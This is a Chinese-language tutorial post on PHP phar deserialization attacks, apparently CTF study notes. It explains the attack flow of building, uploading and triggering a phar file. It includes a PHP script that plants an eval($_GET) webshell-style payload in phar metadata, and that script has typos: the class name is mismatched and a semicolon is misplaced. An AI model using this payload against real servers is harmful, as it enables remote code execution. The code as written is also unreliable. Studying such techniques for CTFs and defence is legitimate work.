PHP反序列化8(phar反序列化)

考点8:phar反序列化

<aside> 💡

使用条件

</aside>

文件上传时,不必要.phar后缀,文件上传不是难点!!!(phar伪协议自动解析成.phar文件)

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。

使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。

这就引出了我们攻击手法最核心的流程。

流程:构造phar(元数据中含有恶意序列化内容)文件--->上传--->触发反序列化

最后一步是寻找触发phar文件元数据反序列化。

其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时

都会将meta-data字段进行反序列化。

复制代码
<?php
class Testobj {
    public $output="";
}
      
@unlink("test.phar");                    // 删除名为 test.phar 的文件(如果存在)
$phar = new Phar("test.phar");           // 创建一个名为 test.phar 的 Phar 对象
$phar->startBuffering();                 //开始写文件

// 设置 Phar 对象的存根(stub)
$phar->setStub('<?php  __HALT_COMPILER();?>');//写入stub
$o = new Testobi();                      // 创建 Testobi 类的对象
$o->output = 'eval($_GET["a"];)'; 
$phar->setMetaData($o);                  //写入meta-data
$phar->addFromString("test.txt", "test");// 向 Phar 对象中添加一个名为 test.txt 的文件,内容为 "test"
$phar->stopBuffering();                  // 停止缓冲并将修改应用到 Phar 对象
?>

注意:两个页面,接收端(文件上传),输出端。

相关推荐
醇氧14 小时前
【Linux】Java 服务生产级部署指南:实现常驻后台、开机自启与系统服务化管理
java·开发语言
凡人叶枫14 小时前
Effective C++ 条款16:成对使用 new 和 delete 时要采取相同形式
开发语言·c++·effective c++
不吃土豆的马铃薯15 小时前
C++ 高性能网络缓冲区 Buffer 源码解析
linux·服务器·开发语言·网络·c++
数据法师15 小时前
QuickSay :基于 Qt 的轻量级快捷短语管理工具
开发语言·qt
caimouse15 小时前
Reactos 第1章 概述
c语言·开发语言·架构
.千余15 小时前
【C++】C++继承入门(下):友元、静态成员与菱形继承的底层逻辑
开发语言·c++·笔记·学习·其他
Par@ish15 小时前
【网络安全】Web安全扫描工具Nikto安装和使用详细教程
安全·web安全·ubuntu
小短腿的代码世界15 小时前
行情快照与增量更新引擎:Qt在高频交易数据分发中的核心架构——你的行情推送为什么延迟了500ms?
开发语言·qt·架构
上海云盾第一敬业销售15 小时前
高效阻止网站攻击的WAF防护架构解析
web安全·架构·ddos
初中就开始混世的大魔王16 小时前
6 Fast DDS-传输层
开发语言·c++·中间件·信息与通信